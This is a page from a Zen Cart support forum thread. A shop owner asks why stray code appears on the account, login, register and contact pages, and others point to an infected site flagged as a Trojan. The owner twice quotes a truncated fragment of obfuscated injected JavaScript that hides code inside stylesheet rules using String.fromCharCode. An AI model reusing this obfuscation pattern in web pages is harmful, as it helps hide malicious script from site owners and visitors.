Page 1 of 2 12 LastLast
Results 1 to 10 of 14
  1. #1
    Join Date
    Mar 2011
    Posts
    6
    Plugin Contributions
    0

    help question How to fix stylesheet errors? -PureGreen

    I recently installed Zen Cart 1.3.9h and have been editing all of the files to prepare the site to go live. I have not yet added products and/or categories yet because I wanted to get the e-commerce site ready to go. Now that I made some changes to the text on pages and changed the template named "PureGreen Free Zen Cart template" from 12leaves.com I noticed that I am now getting an error message at the top of some pages.

    The error message that I am getting is as follows:

    ----------------------------------------------------------------------------

    0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,d eclaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var ucyq=null;var r=document.styleSheets;for(var i=0;i

    ----------------------------------------------------------------------------

    I am getting this message on the following pages:

    My Account
    Login
    Register
    Contact Us

    I found that the styleSheets error message appears even after changing the site template back to the original template (default) that came pre-installed with Zen Cart.

    Can anyone please point me in the right direction to fix this?

    Thanks.
    Last edited by centerstate; 14 Mar 2011 at 06:24 AM. Reason: added some more notes

  2. #2
    Join Date
    Aug 2005
    Posts
    26,503
    Plugin Contributions
    9

    Default Re: How to fix stylesheet errors

    What are you using to edit the files?
    Zen-Venom Get Bitten
    Get Your Business Found

  3. #3
    Join Date
    Mar 2011
    Posts
    6
    Plugin Contributions
    0

    Default Re: How to fix stylesheet errors

    I have been using Notepad after downloading the files to my computer. I have also used the built-in html / plain text editor online.

  4. #4
    Join Date
    Aug 2005
    Posts
    26,503
    Plugin Contributions
    9

    Default Re: How to fix stylesheet errors -PureGreen

    There is some mis editing happening
    Seeing your site might help
    Zen-Venom Get Bitten
    Get Your Business Found

  5. #5
    Join Date
    Mar 2011
    Posts
    6
    Plugin Contributions
    0

    Default Re: How to fix stylesheet errors -PureGreen

    Thank you for willing to look at the site. The URL is:

    www.cocolamuscreek.com/shop/

  6. #6
    Join Date
    Feb 2005
    Location
    Lansing, Michigan USA
    Posts
    19,589
    Plugin Contributions
    3

    Default Re: How to fix stylesheet errors -PureGreen

    Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?

  7. #7
    Join Date
    Apr 2004
    Location
    UK
    Posts
    5,860
    Plugin Contributions
    2

    Default Re: How to fix stylesheet errors -PureGreen

    NOTE: Avast Anti Virus BLOCKED access to website..
    Reason given...Trojan Horse present
    Dezina ZenCart Templates
    Please do not PM for support queries..Post in forums..help others

  8. #8
    Join Date
    Aug 2005
    Posts
    26,503
    Plugin Contributions
    9

    Default Re: How to fix stylesheet errors -PureGreen

    Clean your access station

    A free service
    http://housecall.trendmicro.com/
    Zen-Venom Get Bitten
    Get Your Business Found

  9. #9
    Join Date
    Mar 2011
    Posts
    6
    Plugin Contributions
    0

    Default Re: How to fix stylesheet errors -PureGreen

    Quote Originally Posted by misty View Post
    NOTE: Avast Anti Virus BLOCKED access to website..
    Reason given...Trojan Horse present
    That is odd that it gave a message about blocked access. I am using Firefox 3.6 and Internet Explorer 9 and have not received any messages.

    Prior to setting up Zen-Cart, there was a installation of osCommerce which got hacked and while we were working on cleaning the site up we got notified that the osCommerce directory needed to be completely removed including databases. I then removed osCommerce and all SQL databases, but google still believes the site is hacked. We have verified with engineers that the site is clean and is no longer a risk/threat. We will not be returning to osCommerce and plan to only use Zen-Cart.

    I am currently working with Google to unblock the site (domain) in their systems.

  10. #10
    Join Date
    Mar 2011
    Posts
    6
    Plugin Contributions
    0

    Default Re: How to fix stylesheet errors -PureGreen

    Quote Originally Posted by stevesh View Post
    Look at the source code of any page of your site. What is all that stuff in the body ? Did you put it there ?
    Thank you for your post. I reviewed the text and it was in there after installing Zen-Cart. I un-installed and then re-installed the Zen-Cart software and set up a template from "zenflavor.com".

    It appears that long strand of code only appears in the files which I named above in my post that are getting the error message of:

    0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last_style_node.addRule(selector,d eclaration);}};createCSS("#va","background:url(data:,String.fromCharCode)");var my=null;var r=document.styleSheets;for(var i=0;i

    Do you have any suggestions on how to fix this?

 

 
Page 1 of 2 12 LastLast

Similar Threads

  1. Replies: 14
    Last Post: 20 Oct 2010, 10:43 PM
  2. PureGreen Template
    By kmol in forum Addon Templates
    Replies: 6
    Last Post: 30 Mar 2009, 02:35 PM
  3. category dressing errors and move add to cart errors
    By MachaNeko in forum Templates, Stylesheets, Page Layout
    Replies: 11
    Last Post: 18 May 2008, 02:29 PM
  4. Admin errors on fresh installation - module errors and language definition errors
    By etrader in forum Installing on a Linux/Unix Server
    Replies: 5
    Last Post: 5 Oct 2007, 09:05 AM

Bookmarks

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •